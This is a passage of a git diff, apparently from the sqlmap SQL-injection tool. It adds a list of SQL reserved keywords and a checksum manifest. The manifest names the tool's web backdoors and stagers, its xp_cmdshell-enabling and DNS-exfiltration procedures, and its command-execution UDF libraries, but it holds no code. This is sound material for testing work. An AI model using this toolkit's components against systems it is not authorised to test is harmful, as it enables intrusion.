+CURRENT_DATE +CURRENT_TIMECURRENT_TIMESTAMP +CURRENT_USER +CURSOR +DATABASE +DATABASES +DAY_HOUR +DAY_MICROSECONDDAY_MINUTE +DAY_SECOND +DEC +DECIMAL +DECLARE +DEFAULTDELAYED +DELETE +DESC +DESCRIBE +DETERMINISTIC +DISTINCTDISTINCTROW +DIV +DOUBLE +DROP +DUAL +EACH +ELSEELSEIF +ENCLOSED +ESCAPED +EXISTS +EXIT +EXPLAIN +FALSEFETCH +FLOAT +FLOAT4 +FLOAT8 +FOR +FORCE +FOREIGNFROM +FULLTEXT +GRANT +GROUP +HAVING +HIGH_PRIORITYHOUR_MICROSECOND +HOUR_MINUTE +HOUR_SECOND +IF +IFNULL +IGNORE +ININDEX +INFILE +INNER +INOUT +INSENSITIVE +INSERT +INTINT1 +INT2 +INT3 +INT4 +INT8 +INTEGER +INTERVALINTO +IS +ISNULL +ITERATE +JOIN +KEY +KEYS +KILLLEADING +LEAVE +LEFT +LIKE +LIMIT +LINESLOAD +LOCALTIME +LOCALTIMESTAMP +LOCK +LONG +LONGBLOBLONGTEXT +LOOP +LOW_PRIORITY +MATCH +MEDIUMBLOB +MEDIUMINT +MEDIUMTEXTMIDDLEINT +MINUTE_MICROSECOND +MINUTE_SECOND +MOD +MODIFIES +NATURAL +NOTNO_WRITE_TO_BINLOG +NULL +NUMERIC +ON +OPTIMIZE +OPTION +OPTIONALLYOR +ORDER +OUT +OUTER +OUTFILE +PRECISIONPRIMARY +PROCEDURE +PURGE +READ +READS +REALREFERENCES +REGEXP +RELEASE +RENAME +REPEAT +REPLACE +REQUIRERESTRICT +RETURN +REVOKE +RIGHT +RLIKE +SCHEMA +SCHEMASSECOND_MICROSECOND +SELECT +SENSITIVE +SEPARATOR +SET +SHOW +SMALLINTSONAME +SPATIAL +SPECIFIC +SQL +SQLEXCEPTION +SQLSTATESQLWARNING +SQL_BIG_RESULT +SQL_CALC_FOUND_ROWS +SQL_SMALL_RESULT +SSL +STARTINGSTRAIGHT_JOIN +TABLE +TERMINATED +THEN +TINYBLOB +TINYINT +TINYTEXTTO +TRAILING +TRIGGER +TRUE +UNDO +UNION +UNIQUEUNLOCK +UNSIGNED +UPDATE +USAGE +USE +USING +UTC_DATEUTC_TIME +UTC_TIMESTAMP +VALUES +VARBINARY +VARCHAR +VARCHARACTERVARYING +VERSION +WHEN +WHERE +WHILE +WITH +WRITEXOR +YEAR_MONTH +ZEROFILL + +# MySQL 8.0 keywords (reference: https://dev.mysql.com/doc/refman/8.0/en/keywords.html) + +ACCESSIBLE +ACCOUNT +ACTION +ACTIVE +ADD +ADMIN +AFTER +AGAINST +AGGREGATE +ALGORITHM +ALL +ALTER +ALWAYS +ANALYSE +ANALYZE +AND +ANY +ARRAY +AS +ASC +ASCII +ASENSITIVE +AT +ATTRIBUTE +AUTHENTICATION +AUTOEXTEND_SIZE +AUTO_INCREMENT +AVG +AVG_ROW_LENGTH +BACKUP +BEFORE +BEGIN +BETWEEN +BIGINT +BINARY +BINLOG +BIT +BLOB +BLOCK +BOOL +BOOLEAN +BOTH +BTREE +BUCKETS +BULK +BY +BYTE +CACHE +CALL +CASCADE +CASCADED +CASE +CATALOG_NAME +CHAIN +CHALLENGE_RESPONSE +CHANGE +CHANGED +CHANNEL +CHAR +CHARACTER +CHARSET +CHECK +CHECKSUM +CIPHER +CLASS_ORIGIN +CLIENT +CLONE +CLOSE +COALESCE +CODE +COLLATE +COLLATION +COLUMN +COLUMNS +COLUMN_FORMAT +COLUMN_NAME +COMMENT +COMMIT +COMMITTED +COMPACT +COMPLETION +COMPONENT +COMPRESSED +COMPRESSION +CONCURRENT +CONDITION +CONNECTION +CONSISTENT +CONSTRAINT +CONSTRAINT_CATALOG +CONSTRAINT_NAME +CONSTRAINT_SCHEMA +CONTAINS +CONTEXT +CONTINUE +CONVERT +CPU +CREATE +CROSS +CUBE +CUME_DIST +CURRENT +CURRENT_DATE +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_USER +CURSOR +CURSOR_NAME +DATA +DATABASE +DATABASES +DATAFILE +DATE +DATETIME +DAY +DAY_HOUR +DAY_MICROSECOND +DAY_MINUTE +DAY_SECOND +DEALLOCATE +DEC +DECIMAL +DECLARE +DEFAULT +DEFAULT_AUTH +DEFINER +DEFINITION +DELAYED +DELAY_KEY_WRITE +DELETE +DENSE_RANK +DESC +DESCRIBE +DESCRIPTION +DES_KEY_FILE +DETERMINISTIC +DIAGNOSTICS +DIRECTORY +DISABLE +DISCARD +DISK +DISTINCT +DISTINCTROW +DIV +DO +DOUBLE +DROP +DUAL +DUMPFILE +DUPLICATE +DYNAMIC +EACH +ELSE +ELSEIF +EMPTY +ENABLE +ENCLOSED +ENCRYPTION +END +ENDS +ENFORCED +ENGINE +ENGINES +ENGINE_ATTRIBUTE +ENUM +ERROR +ERRORS +ESCAPE +ESCAPED +EVENT +EVENTS +EVERY +EXCEPT +EXCHANGE +EXCLUDE +EXECUTE +EXISTS +EXIT +EXPANSION +EXPIRE +EXPLAIN +EXPORT +EXTENDED +EXTENT_SIZE +FACTOR +FAILED_LOGIN_ATTEMPTS +FALSE +FAST +FAULTS +FETCH +FIELDS +FILE +FILE_BLOCK_SIZE +FILTER +FINISH +FIRST +FIRST_VALUE +FIXED +FLOAT +FLOAT4 +FLOAT8 +FLUSH +FOLLOWING +FOLLOWS +FOR +FORCE +FOREIGN +FORMAT +FOUND +FROM +FULL +FULLTEXT +FUNCTION +GENERAL +GENERATE +GENERATED +GEOMCOLLECTION +GEOMETRY +GEOMETRYCOLLECTION +GET +GET_FORMAT +GET_MASTER_PUBLIC_KEY +GET_SOURCE_PUBLIC_KEY +GLOBAL +GRANT +GRANTS +GROUP +GROUPING +GROUPS +GROUP_REPLICATION +GTID_ONLY +HANDLER +HASH +HAVING +HELP +HIGH_PRIORITY +HISTOGRAM +HISTORY +HOST +HOSTS +HOUR +HOUR_MICROSECOND +HOUR_MINUTE +HOUR_SECOND +IDENTIFIED +IF +IGNORE +IGNORE_SERVER_IDS +IMPORT +IN +INACTIVE +INDEX +INDEXES +INFILE +INITIAL +INITIAL_SIZE +INITIATE +INNER +INOUT +INSENSITIVE +INSERT +INSERT_METHOD +INSTALL +INSTANCE +INT +INT1 +INT2 +INT3 +INT4 +INT8 +INTEGER +INTERSECT +INTERVAL +INTO +INVISIBLE +INVOKER +IO +IO_AFTER_GTIDS +IO_BEFORE_GTIDS +IO_THREAD +IPC +IS +ISOLATION +ISSUER +ITERATE +JOIN +JSON +JSON_TABLE +JSON_VALUE +KEY +KEYRING +KEYS +KEY_BLOCK_SIZE +KILL +LAG +LANGUAGE +LAST +LAST_VALUE +LATERAL +LEAD +LEADING +LEAVE +LEAVES +LEFT +LESS +LEVEL +LIKE +LIMIT +LINEAR +LINES +LINESTRING +LIST +LOAD +LOCAL +LOCALTIME +LOCALTIMESTAMP +LOCK +LOCKED +LOCKS +LOGFILE +LOGS +LONG +LONGBLOB +LONGTEXT +LOOP +LOW_PRIORITY +MASTER +MASTER_AUTO_POSITION +MASTER_BIND +MASTER_COMPRESSION_ALGORITHMS +MASTER_CONNECT_RETRY +MASTER_DELAY +MASTER_HEARTBEAT_PERIOD +MASTER_HOST +MASTER_LOG_FILE +MASTER_LOG_POS +MASTER_PASSWORD +MASTER_PORT +MASTER_PUBLIC_KEY_PATH +MASTER_RETRY_COUNT +MASTER_SERVER_ID +MASTER_SSL +MASTER_SSL_CA +MASTER_SSL_CAPATH +MASTER_SSL_CERT +MASTER_SSL_CIPHER +MASTER_SSL_CRL +MASTER_SSL_CRLPATH +MASTER_SSL_KEY +MASTER_SSL_VERIFY_SERVER_CERT +MASTER_TLS_CIPHERSUITES +MASTER_TLS_VERSION +MASTER_USER +MASTER_ZSTD_COMPRESSION_LEVEL +MATCH +MAXVALUE +MAX_CONNECTIONS_PER_HOUR +MAX_QUERIES_PER_HOUR +MAX_ROWS +MAX_SIZE +MAX_UPDATES_PER_HOUR +MAX_USER_CONNECTIONS +MEDIUM +MEDIUMBLOB +MEDIUMINT +MEDIUMTEXT +MEMBER +MEMORY +MERGE +MESSAGE_TEXT +MICROSECOND +MIDDLEINT +MIGRATE +MINUTE +MINUTE_MICROSECOND +MINUTE_SECOND +MIN_ROWS +MOD +MODE +MODIFIES +MODIFY +MONTH +MULTILINESTRING +MULTIPOINT +MULTIPOLYGON +MUTEX +MYSQL_ERRNO +NAME +NAMES +NATIONAL +NATURAL +NCHAR +NDB +NDBCLUSTER +NESTED +NETWORK_NAMESPACE +NEVER +NEW +NEXT +NO +NODEGROUP +NONE +NOT +NOWAIT +NO_WAIT +NO_WRITE_TO_BINLOG +NTH_VALUE +NTILE +NULL +NULLS +NUMBER +NUMERIC +NVARCHAR +OF +OFF +OFFSET +OJ +OLD +ON +ONE +ONLY +OPEN +OPTIMIZE +OPTIMIZER_COSTS +OPTION +OPTIONAL +OPTIONALLY +OPTIONS +OR +ORDER +ORDINALITY +ORGANIZATION +OTHERS +OUT +OUTER +OUTFILE +OVER +OWNER +PACK_KEYS +PAGE +PARSER +PARTIAL +PARTITION +PARTITIONING +PARTITIONS +PASSWORD_LOCK_TIME +PATH +PERCENT_RANK +PERSIST +PERSIST_ONLY +PHASE +PLUGIN +PLUGINS +PLUGIN_DIR +POINT +POLYGON +PORT +PRECEDES +PRECEDING +PRECISION +PREPARE +PRESERVE +PREV +PRIMARY +PRIVILEGES +PRIVILEGE_CHECKS_USER +PROCEDURE +PROCESS +PROCESSLIST +PROFILE +PROFILES +PROXY +PURGE +QUARTER +QUERY +QUICK +RANDOM +RANGE +RANK +READ +READS +READ_ONLY +READ_WRITE +REAL +REBUILD +RECOVER +RECURSIVE +REDOFILE +REDO_BUFFER_SIZE +REDUNDANT +REFERENCE +REFERENCES +REGEXP +REGISTRATION +RELAY +RELAYLOG +RELAY_LOG_FILE +RELAY_LOG_POS +RELAY_THREAD +RELEASE +RELOAD +REMOTE +REMOVE +RENAME +REORGANIZE +REPAIR +REPEAT +REPEATABLE +REPLACE +REPLICA +REPLICAS +REPLICATE_DO_DB +REPLICATE_DO_TABLE +REPLICATE_IGNORE_DB +REPLICATE_IGNORE_TABLE +REPLICATE_REWRITE_DB +REPLICATE_WILD_DO_TABLE +REPLICATE_WILD_IGNORE_TABLE +REPLICATION +REQUIRE +REQUIRE_ROW_FORMAT +RESET +RESIGNAL +RESOURCE +RESPECT +RESTART +RESTORE +RESTRICT +RESUME +RETAIN +RETURN +RETURNED_SQLSTATE +RETURNING +RETURNS +REUSE +REVERSE +REVOKE +RIGHT +RLIKE +ROLE +ROLLBACK +ROLLUP +ROTATE +ROUTINE +ROW +ROWS +ROW_COUNT +ROW_FORMAT +ROW_NUMBER +RTREE +SAVEPOINT +SCHEDULE +SCHEMA +SCHEMAS +SCHEMA_NAME +SECOND +SECONDARY +SECONDARY_ENGINE +SECONDARY_ENGINE_ATTRIBUTE +SECONDARY_LOAD +SECONDARY_UNLOAD +SECOND_MICROSECOND +SECURITY +SELECT +SENSITIVE +SEPARATOR +SERIAL +SERIALIZABLE +SERVER +SESSION +SET +SHARE +SHOW +SHUTDOWN +SIGNAL +SIGNED +SIMPLE +SKIP +SLAVE +SLOW +SMALLINT +SNAPSHOT +SOCKET +SOME +SONAME +SOUNDS +SOURCE +SOURCE_AUTO_POSITION +SOURCE_BIND +SOURCE_COMPRESSION_ALGORITHMS +SOURCE_CONNECT_RETRY +SOURCE_DELAY +SOURCE_HEARTBEAT_PERIOD +SOURCE_HOST +SOURCE_LOG_FILE +SOURCE_LOG_POS +SOURCE_PASSWORD +SOURCE_PORT +SOURCE_PUBLIC_KEY_PATH +SOURCE_RETRY_COUNT +SOURCE_SSL +SOURCE_SSL_CA +SOURCE_SSL_CAPATH +SOURCE_SSL_CERT +SOURCE_SSL_CIPHER +SOURCE_SSL_CRL +SOURCE_SSL_CRLPATH +SOURCE_SSL_KEY +SOURCE_SSL_VERIFY_SERVER_CERT +SOURCE_TLS_CIPHERSUITES +SOURCE_TLS_VERSION +SOURCE_USER +SOURCE_ZSTD_COMPRESSION_LEVEL +SPATIAL +SPECIFIC +SQL +SQLEXCEPTION +SQLSTATE +SQLWARNING +SQL_AFTER_GTIDS +SQL_AFTER_MTS_GAPS +SQL_BEFORE_GTIDS +SQL_BIG_RESULT +SQL_BUFFER_RESULT +SQL_CACHE +SQL_CALC_FOUND_ROWS +SQL_NO_CACHE +SQL_SMALL_RESULT +SQL_THREAD +SQL_TSI_DAY +SQL_TSI_HOUR +SQL_TSI_MINUTE +SQL_TSI_MONTH +SQL_TSI_QUARTER +SQL_TSI_SECOND +SQL_TSI_WEEK +SQL_TSI_YEAR +SRID +SSL +STACKED +START +STARTING +STARTS +STATS_AUTO_RECALC +STATS_PERSISTENT +STATS_SAMPLE_PAGES +STATUS +STOP +STORAGE +STORED +STRAIGHT_JOIN +STREAM +STRING +SUBCLASS_ORIGIN +SUBJECT +SUBPARTITION +SUBPARTITIONS +SUPER +SUSPEND +SWAPS +SWITCHES +SYSTEM +TABLE +TABLES +TABLESPACE +TABLE_CHECKSUM +TABLE_NAME +TEMPORARY +TEMPTABLE +TERMINATED +TEXT +THAN +THEN +THREAD_PRIORITY +TIES +TIME +TIMESTAMP +TIMESTAMPADD +TIMESTAMPDIFF +TINYBLOB +TINYINT +TINYTEXT +TLS +TO +TRAILING +TRANSACTION +TRIGGER +TRIGGERS +TRUE +TRUNCATE +TYPE +TYPES +UNBOUNDED +UNCOMMITTED +UNDEFINED +UNDO +UNDOFILE +UNDO_BUFFER_SIZE +UNICODE +UNINSTALL +UNION +UNIQUE +UNKNOWN +UNLOCK +UNREGISTER +UNSIGNED +UNTIL +UPDATE +UPGRADE +URL +USAGE +USE +USER +USER_RESOURCES +USE_FRM +USING +UTC_DATE +UTC_TIME +UTC_TIMESTAMP +VALIDATION +VALUE +VALUES +VARBINARY +VARCHAR +VARCHARACTER +VARIABLES +VARYING +VCPU +VIEW +VIRTUAL +VISIBLE +WAIT +WARNINGS +WEEK +WEIGHT_STRING +WHEN +WHERE +WHILE +WINDOW +WITH +WITHOUT +WORK +WRAPPER +WRITE +X509 +XA +XID +XML +XOR +YEAR +YEAR_MONTH +ZEROFILL +ZONE + +# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html) + +ABS +ACOS +ALL +ALLOCATE +ALTER +ANALYSE +ANALYZE +AND +ANY +ARE +ARRAY +ARRAY_AGG +ARRAY_MAX_CARDINALITY +AS +ASC +ASENSITIVE +ASIN +ASYMMETRIC +AT +ATAN +ATOMIC +AUTHORIZATION +AVG +BEGIN +BEGIN_FRAME +BEGIN_PARTITION +BETWEEN +BIGINT +BINARY +BLOB +BOOLEAN +BOTH +BY +CALL +CALLED +CARDINALITY +CASCADED +CASE +CAST +CEIL +CEILING +CHAR +CHARACTER +CHARACTER_LENGTH +CHAR_LENGTH +CHECK +CLASSIFIER +CLOB +CLOSE +COALESCE +COLLATE +COLLATION +COLLECT +COLUMN +COMMIT +CONCURRENTLY +CONDITION +CONNECT +CONSTRAINT +CONTAINS +CONVERT +COPY +CORR +CORRESPONDING +COS +COSH +COUNT +COVAR_POP +COVAR_SAMP +CREATE +CROSS +CUBE +CUME_DIST +CURRENT +CURRENT_CATALOG +CURRENT_DATE +CURRENT_DEFAULT_TRANSFORM_GROUP +CURRENT_PATH +CURRENT_ROLE +CURRENT_ROW +CURRENT_SCHEMA +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_TRANSFORM_GROUP_FOR_TYPE +CURRENT_USER +CURSOR +CYCLE +DATALINK +DATE +DAY +DEALLOCATE +DEC +DECFLOAT +DECIMAL +DECLARE +DEFAULT +DEFERRABLE +DEFINE +DELETE +DENSE_RANK +DEREF +DESC +DESCRIBE +DETERMINISTIC +DISCONNECT +DISTINCT +DLNEWCOPY +DLPREVIOUSCOPY +DLURLCOMPLETE +DLURLCOMPLETEONLY +DLURLCOMPLETEWRITE +DLURLPATH +DLURLPATHONLY +DLURLPATHWRITE +DLURLSCHEME +DLURLSERVER +DLVALUE +DO +DOUBLE +DROP +DYNAMIC +EACH +ELEMENT +ELSE +EMPTY +END +END-EXEC +END_FRAME +END_PARTITION +EQUALS +ESCAPE +EVERY +EXCEPT +EXEC +EXECUTE +EXISTS +EXP +EXTERNAL +EXTRACT +FALSE +FETCH +FILTER +FIRST_VALUE +FLOAT +FLOOR +FOR +FOREIGN +FRAME_ROW +FREE +FREEZE +FROM +FULL +FUNCTION +FUSION +GET +GLOBAL +GRANT +GROUP +GROUPING +GROUPS +HAVING +HOLD +HOUR +IDENTITY +ILIKE +IMPORT +IN +INDICATOR +INITIAL +INITIALLY +INNER +INOUT +INSENSITIVE +INSERT +INT +INTEGER +INTERSECT +INTERSECTION +INTERVAL +INTO +IS +ISNULL +JOIN +JSON_ARRAY +JSON_ARRAYAGG +JSON_EXISTS +JSON_OBJECT +JSON_OBJECTAGG +JSON_QUERY +JSON_TABLE +JSON_TABLE_PRIMITIVE +JSON_VALUE +LAG +LANGUAGE +LARGE +LAST_VALUE +LATERAL +LEAD +LEADING +LEFT +LIKE +LIKE_REGEX +LIMIT +LISTAGG +LN +LOCAL +LOCALTIME +LOCALTIMESTAMP +LOG +LOG10 +LOWER +MATCH +MATCHES +MATCH_NUMBER +MATCH_RECOGNIZE +MAX +MEASURES +MEMBER +MERGE +METHOD +MIN +MINUTE +MOD +MODIFIES +MODULE +MONTH +MULTISET +NATIONAL +NATURAL +NCHAR +NCLOB +NEW +NO +NONE +NORMALIZE +NOT +NOTNULL +NTH_VALUE +NTILE +NULL +NULLIF +NUMERIC +OCCURRENCES_REGEX +OCTET_LENGTH +OF +OFFSET +OLD +OMIT +ON +ONE +ONLY +OPEN +OR +ORDER +OUT +OUTER +OVER +OVERLAPS +OVERLAY +PARAMETER +PARTITION +PATTERN +PER +PERCENT +PERCENTILE_CONT +PERCENTILE_DISC +PERCENT_RANK +PERIOD +PERMUTE +PLACING +PORTION +POSITION +POSITION_REGEX +POWER +PRECEDES +PRECISION +PREPARE +PRIMARY +PROCEDURE +PTF +RANGE +RANK +READS +REAL +RECURSIVE +REF +REFERENCES +REFERENCING +REGR_AVGX +REGR_AVGY +REGR_COUNT +REGR_INTERCEPT +REGR_R2 +REGR_SLOPE +REGR_SXX +REGR_SXY +REGR_SYY +RELEASE +RESULT +RETURN +RETURNING +RETURNS +REVOKE +RIGHT +ROLLBACK +ROLLUP +ROW +ROWS +ROW_NUMBER +RUNNING +SAVEPOINT +SCOPE +SCROLL +SEARCH +SECOND +SEEK +SELECT +SENSITIVE +SESSION_USER +SET +SHOW +SIMILAR +SIN +SINH +SKIP +SMALLINT +SOME +SPECIFIC +SPECIFICTYPE +SQL +SQLEXCEPTION +SQLSTATE +SQLWARNING +SQRT +START +STATIC +STDDEV_POP +STDDEV_SAMP +SUBMULTISET +SUBSET +SUBSTRING +SUBSTRING_REGEX +SUCCEEDS +SUM +SYMMETRIC +SYSTEM +SYSTEM_TIME +SYSTEM_USER +TABLE +TABLESAMPLE +TAN +TANH +THEN +TIME +TIMESTAMP +TIMEZONE_HOUR +TIMEZONE_MINUTE +TO +TRAILING +TRANSLATE +TRANSLATE_REGEX +TRANSLATION +TREAT +TRIGGER +TRIM +TRIM_ARRAY +TRUE +TRUNCATE +UESCAPE +UNION +UNIQUE +UNKNOWN +UNMATCHED +UNNEST +UPDATE +UPPER +USER +USING +VALUE +VALUES +VALUE_OF +VARBINARY +VARCHAR +VARIADIC +VARYING +VAR_POP +VAR_SAMP +VERBOSE +VERSIONING +WHEN +WHENEVER +WHERE +WIDTH_BUCKET +WINDOW +WITH +WITHIN +WITHOUT +XML +XMLAGG +XMLATTRIBUTES +XMLBINARY +XMLCAST +XMLCOMMENT +XMLCONCAT +XMLDOCUMENT +XMLELEMENT +XMLEXISTS +XMLFOREST +XMLITERATE +XMLNAMESPACES +XMLPARSE +XMLPI +XMLQUERY +XMLSERIALIZE +XMLTABLE +XMLTEXT +XMLVALIDATE +YEAR + +# Misc + +ORD +MID diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt new file mode 100644 index 00000000000..2e974cad8aa --- /dev/null +++ b/data/txt/sha256sums.txt @@ -0,0 +1,637 @@ +e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql +6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql +798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql +5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql +3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql +afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql +657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql +1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql +9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql +02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql +02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql +606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql +4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql +7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt +519431a555205974e7b12b5ecb8d6fb03a504fbb4a6a410db8874a9bfcff6890 data/shell/backdoors/backdoor.asp_ +fbb0e5456bc80923d0403644371167948cefc8e95c95a98dc845bc6355e3718f data/shell/backdoors/backdoor.aspx_ +01695090da88b7e71172e3b97293196041e452bbb7b2ba9975b4fac7231e00a5 data/shell/backdoors/backdoor.cfm_ +03117933dcc9bfc24098e1e0191195fc4bafb891f0752edee28be1741894e0e5 data/shell/backdoors/backdoor.jsp_ +2505011f6dcf4c1725840ce495c3b3e4172217286f5ce2a0819c7a64ce35d9df data/shell/backdoors/backdoor.php_ +a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt +a4d49b7c1b43486d21f7d0025174b45e0608f55c110c6e9af8148478daec73d1 data/shell/stagers/stager.asp_ +1b21206f9d35b829fdf9afa17ea5873cd095558f05e644d56b39d560dfa62b6e data/shell/stagers/stager.aspx_ +8a149f77137fc427e397ec2c050e4028d45874234bc40a611a00403799e2dc0b data/shell/stagers/stager.cfm_ +c3a595fc1746ee07dbc0592ba7d5e207e6110954980599f63b8156d1d277f8ca data/shell/stagers/stager.jsp_ +82bcebc46ed3218218665794197625c668598eb7e861dd96e4f731a27b18a701 data/shell/stagers/stager.php_ +eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt +63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt +9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt +44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt +ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt +522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt +6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt +9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ +e3007876d35a153d9a107955fad3f6c338d3733210317b1f359417e8297595aa data/udf/mysql/linux/32/lib_mysqludf_sys.so_ +77f7e7b6cfde4bae8d265f81792c04c4d2b2966328cbf8affb4f980dec2b9d91 data/udf/mysql/linux/64/lib_mysqludf_sys.so_ +52b41ab911f940c22b7490f1d80f920c861e7a6c8c25bb8d3a765fd8af0c34a0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ +ea6592dbe61e61f52fd6ab7082722733197fa8f3e6bec0a99ca25aff47c15cff data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ +c58dd9b9fa27df0a730802bd49e36a5a3ccd59611fc1c61b8e85f92e14ac2a88 data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ +b6fdcfcafbbc5da34359604a69aaa9f8459a7e6e319f7b2ee128e762e84d1643 data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ +8d22d8b06ce253ae711c6a71b4ed98c7ad5ad1001a3dafb30802ec0b9b325013 data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ +812374d50a672a9d07faba1be9a13cfb84a369894dc7c702991382bb9558be9d data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ +5b816a33d9c284e62f1ea707e07b10be5efd99db5762d7bd60c6360dd2e70d8f data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ +cf5b9986fd70f6334bd00e8efcf022571089b8384b650245fb352ec18e48acdf data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ +445c05dac6714a64777892a372b0e3c93eee651162a402658485c48439390ad2 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ +1c86d2358c20384ac92d333444b955a01ee97f28caac35ed39fdb654d5f93c1b data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ +050ff4692a04dc00b7e6ac187a56be47b5a654ccf907ffa9f9446194763ae7e5 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ +7806d4c6865c7ebed677ae8abe302ca687c8f9f5b5287b89fed27a36beeeb232 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ +cfa2a8fc26430cbc11ad0bd37609c753d4ca1eecb0472efe3518185d2d13e7cf data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ +d2210ad9260bd22017acc519a576595306842240f24d8b4899a23228a70f78c6 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ +6311d919f6ff42c959d0ce3bc6dd5cb782f79f77857e9ab3bd88c2c365e5f303 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ +4520fc47ea6e0136e03ba9b2eb94161da328f340bf6fbebad39ca82b3b3e323b data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ +bad0bb94ec75b2912d8028f7afdfd70a96c8f86cbc10040c72ece3fd5244660d data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ +b8132a5fe67819ec04dbe4e895addf7e9f111cfe4810a0c94b68002fd48b5deb data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ +03f3b12359a1554705eab46fb04dba63086beb5e2b20f97b108164603efdcb65 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ +e5be1341a84b1a14c4c648feec02418acb904cd96d7cf0f66ec3ff0c117baf91 data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ +28113b48848ba7d22955a060a989f5ae4f14183b1fc64b67898095610176098c data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ +1187045f66f101c89678791960dc37ca5663cf4190ca7dc550753f028ec61a88 data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ +2259cd7e3f6ff057bbbb6766efc6818a59dbf262bfadefd9fda31746903c7501 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ +1fdb0856443b56bf9e3e8c7d195171327217af745ad2e299c475d96892a07ec9 data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ +21e274e6c49cc444d689cb34a83497f982ed2b2850cab677dc059aea9e397870 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ +6707132e4e812ad23cc22ff26e411e89f1eb8379a768161b410202c5442ff3ea data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ +0989c0c0143fb515a12a8b5064f014c633d13a8841aeceaf02ff46901f17805f data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ +3a492e9a1da0799d1107aa5949538303d06409c9a0ed00499626a08083d486ee data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ +3eab7d90606c3c0a9a88e1475e6d8d7d787b3b109c7e188cb9cb8b5561a6766e data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ +a1fe84c5b409366c3926f3138189fb17e7388ef09594a47c9d64e4efe9237a4b data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ +7368a6301369a63e334d829a1d7f6e0b55a824a9f1579dfeb7ced5745994ebc6 data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ +0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt +288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551 data/xml/banner/generic.xml +2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml +14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb 